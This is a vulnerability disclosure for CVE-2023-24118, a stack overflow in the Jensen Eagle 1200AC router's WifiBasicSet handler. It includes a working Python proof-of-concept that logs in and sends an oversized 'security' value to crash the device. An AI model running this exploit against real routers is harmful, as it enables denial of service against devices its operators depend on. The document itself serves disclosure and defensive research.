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[CVE-2023-24118] DOS VIA SECURITY PARAMETER IN EAGLE 1200AC

DESCRIPTION

Jensen of Scandinavia Eagle 1200AC V15.03.06.33_en was discovered to contain a
stack overflow via the security parameter at /goform/WifiBasicSet.

ADDITIONAL INFORMATION

In the handler function for action /goform/WifiBasicSet (formWifiBasicSet), the
user-controlled string security is stored into wl2g.extra.security via SetValue.

When then calling /goform/WifiBasicGet (formWifiBasicGet), the string is loaded
from wl2g.extra.security and then stored into stack buffer wifi_buf_entry.
Because the length of security is not checked, the stack buffer can be
overflowed if it is a large string.

POC SCRIPT:

import requests

IP="192.168.38.1"

logindata = {
"username":"admin",
"password":"81dc9bdb52d04dc20036dbd8313ed055"
}

def login():
	for i in range(10):
		session = requests.Session()
		res = session.post(f"http://{IP}/login/Auth", data=logindata)
		try:
			passwd = session.cookies["password"]
			return passwd
		except:
			pass

session = requests.Session()
session.cookies.set("password",login())

payload = {"security" : "A"*(0x800)}

res = session.post(f"http://{IP}/goform/WifiBasicSet", data=payload)
print(res.status_code)

res = session.post(f"http://{IP}/goform/WifiBasicGet")
print(res.text)
print(res)